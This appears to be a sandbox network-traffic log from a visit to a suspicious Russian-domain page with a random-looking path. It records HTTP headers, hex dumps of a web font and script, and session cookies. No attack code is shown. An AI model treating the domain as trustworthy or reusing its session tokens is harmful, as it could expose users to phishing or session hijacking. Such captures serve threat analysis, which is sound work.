2025-03-25 17:08:19 UTC	1369	IN	Data Raw: d9 23 9e cc b6 34 2b 7f ba bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 f8 02 a6 e7 7c ec d7 42 fb 31 97 76 f3 f4 f1 d4 d1 c9 2c 3b d9 cb 32 27 b8 e0 ba bb de f0 e9 81 c3 4d 9b c7 9d de 2b 5e aa 39 d5 f6 68 3c ca c3 b5 45 4b 26 69 35 3b 22 f8 66 00 cf 15 c3 bf a1 9f 94 ff a2 a5 42 76 c4 5f 6d a9 db 34 3d bc e8 cf ef d9 4c cd 9c 69 e9 df c1 83 ef 7e ef e7 76 36 b9 7b 7f f0 2f cd 9d dc 1c b8 ff 9c dd e9 ce e6 6c d0 89 3f 17 00 e0 55 3f 77 1e 45 08 4a c1 0e 70 80 2b 7f c4 29 43 1e 79 e5 4d ad 41 79 75 1d 85 fa 9d 91 63 fa 53 a2 5a 2d 3a 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 ef c4 6c 34 dd a5 c7 87 9e d3 f6 ba ba 2b 2f fb 50 c6 9f 4f 98 df Data Ascii: #4+V!w*tVx8}#0r((UcW\|B1v,;2'M+^9h<EK&i5;"fBv_m4=Li~v6{/l?U?wEJp+)CyMAyucSZ-:h1's(t;W=Bxl4+/PO
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 13 11 d9 7c 0a 28 59 6b 18 f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 28 ad 8d 49 e9 6c 2c 4a 6f 63 53 06 1b 87 32 da b8 94 c9 c6 a3 cc 36 fe 1a 3f a6 73 3f a9 6a 37 c6 d4 41 be bc 63 57 27 50 e1 3c 5e f4 5b 33 e8 7c 78 d1 df 1b b4 85 35 b6 5c 36 da 4a 5b 68 1b cc e0 b1 1d 08 76 00 c1 4e 20 d8 05 04 bb 81 60 0f 10 ec 05 82 7d 40 c2 21 d4 d3 c3 46 a9 70 4c 65 af 6a 46 9e cc 86 31 c4 ca 93 6e fa 8b 26 02 61 27 3c 70 a2 48 2b 19 30 64 c3 7d 1b 0d 93 af 05 36 b8 d6 89 0d 6b 21 ee 12 1d 34 b6 ec 2c 72 14 83 c2 a5 c5 b5 62 52 15 4e a0 3b bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 9d 9b 4e 0a f5 5a f1 fa 4b 09 50 c3 7d 27 4d 77 ae 77 32 cd 82 30 Data Ascii: \|(Yk^&j$A#u=\*-GM#)1(Il,JocS26?s?j7AcW'P<^[3\|x5\6J[hvN `}@!FpLejF1n&a'<pH+0d}6k!4,rbRN;A5$w!,/4NZKP}'Mww20
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 7a 62 23 79 f5 3b 28 a6 5c d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 c7 06 d9 2a fd 90 78 fb 11 1e b0 6c 7b 16 1e f7 81 66 5f c9 86 78 07 ae e5 f3 a1 92 c8 76 3e f6 dd ea 77 6c b0 c9 ca 8f c0 a9 18 d9 95 b0 d2 74 0b f5 36 bb 67 96 9a 5e 08 c2 ec 5f 59 dd 1f 29 29 63 7f 76 09 e5 97 48 e8 5d f2 d6 98 90 17 6e f9 c3 53 16 8c aa 2b c1 2a 8d 58 31 50 cf fd 70 ff a0 1e a6 51 22 eb 5a 71 c5 62 86 2e 66 bd 65 dd 0b 36 b8 6d d8 71 f6 dc 7a e8 63 42 90 c8 3e a8 c9 f5 84 34 c7 20 4f 6c 24 ca fb 3c c0 f6 c8 18 df 9b 6b a7 c8 e5 b0 7d 19 a9 d8 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 d2 b4 99 c8 68 4c 11 a6 c2 ba 94 c3 07 d8 1a 0d 24 e8 a0 81 c5 15 Data Ascii: zb#y;(\=RdVJMNvg\t1vwSv!xl{f_xv>wlt6g^_Y))cvH]nS+X1PpQ"Zqb.fe6mqzcB>4 Ol$<k}=n o]b#Fbj.0hL$
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: ba 52 1f 83 11 8c 44 af 70 d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd 83 c0 f2 ba bf 84 b5 69 1d 3c 31 46 2a 3b 9d b5 03 b9 b3 6d bd ab 4c c2 7c 42 09 c5 39 09 c8 ef 63 09 78 83 6f 48 a6 3b 90 83 18 25 79 72 47 76 61 ce 4c 5a 32 c0 de 11 19 13 b2 8b 01 14 50 48 67 17 c1 40 9f db d1 a2 30 99 cc 05 c2 9a d3 ff a9 3e ad 38 62 c6 8e bc ff 60 25 ac b5 5f 29 60 4d 64 62 88 b5 75 68 36 25 a7 c5 8e 03 24 9a 35 ce 03 45 e8 95 1f d1 53 2c 89 12 45 38 ef 68 4d c8 41 86 ad 65 02 ba 80 91 0a 3e b2 ef 49 f7 d3 6e 28 e2 5d dd 8f 29 2e 26 69 14 e7 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 a8 44 c8 d2 8c 7f 2d 77 c2 40 5d 4d d6 a6 22 1b 0c 00 0d d9 8f b1 Data Ascii: RDp:IFUj_JAA6Qfi<1F*;mL\|B9cxoH;%yrGvaLZ2PHg@0>8b`%_)`Mdbuh6%$5ES,E8hMAe>In(]).&i,{8X.x2VLC&QWD-w@]M"

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	1369	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Origin: https://nz.freshmnind.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
2025-03-25 17:08:19 UTC	1170	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:19 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Last-Modified: Tue, 25 Mar 2025 15:31:58 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2xS%2Fxkqi95bQqI%2FL2N7IKG5Zz8kk3fRNeEC7aIXo4ipD4YAFv80ph%2F5IbbTwsBf9Qj7R%2FJ%2F1IJCHutSacINDX3%2F9bIXZ8WK%2BvQ44XR75IoYfpYLVABwX%2FrtqB1UW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=4771&min_rtt=4770&rtt_var=1791&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2328&delivery_rate=605984&cwnd=251&unsent_bytes=0&cid=67c5a9159c16a216&ts=21&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9260026c8f6393b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=109300&min_rtt=108759&rtt_var=23777&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1941&delivery_rate=33708&cwnd=215&unsent_bytes=0&cid=4c89a44d4f323abf&ts=1309&x=0"
2025-03-25 17:08:19 UTC	199	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gasp
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 c5 82 02 23 Data Ascii: glyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q#
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: b6 7b 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b b1 c8 4d b6 Data Ascii: {AT`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRKM
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 47 d1 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 ce 6a 61 fb Data Ascii: GUmg"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-ja
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: fb fc 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 b9 7a 5e 2a Data Ascii: \|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y}_f3.mQcoAG_HY%#Tbc^];;e(3'z^
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 66 65 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a 47 1f d1 67 Data Ascii: fecFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZGg
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 15 83 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb Data Ascii: 4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d5m
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 86 29 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd Data Ascii: )j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+_K
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: f0 61 ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d c7 75 d0 24 Data Ascii: a$F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmmu$
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 1a 98 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa 0e 8e a9 ea Data Ascii: c$b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	694	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nz.freshmnind.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:18 UTC	957	IN	HTTP/1.1 302 Found Date: Tue, 25 Mar 2025 17:08:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame,Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250325%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250325T170805Z&X-Amz-Expires=300&X-Amz-Signature=1febf141a8e91b85dbc02a67f16988d39d43fc1e14af9362766842f7d499c156&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-25 17:08:18 UTC	3389	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:18 UTC	1129	OUT	GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250325%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250325T170805Z&X-Amz-Expires=300&X-Amz-Signature=1febf141a8e91b85dbc02a67f16988d39d43fc1e14af9362766842f7d499c156&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1 Host: objects.githubusercontent.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nz.freshmnind.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:18 UTC	841	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10245 Content-Type: application/octet-stream Last-Modified: Tue, 07 Dec 2021 16:38:45 GMT ETag: "0x8D9B9A009499A1E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d91f6eaf-e01e-0032-2f18-13e122000000 x-ms-version: 2023-11-03 x-ms-creation-time: Tue, 17 Aug 2021 14:57:31 GMT x-ms-blob-content-md5: bCCivoupALwKcRiJOisQcg== x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=randexp.min.js x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Age: 2520 Date: Tue, 25 Mar 2025 17:08:18 GMT X-Served-By: cache-iad-kiad7000045-IAD, cache-lga21989-LGA X-Cache: HIT, HIT 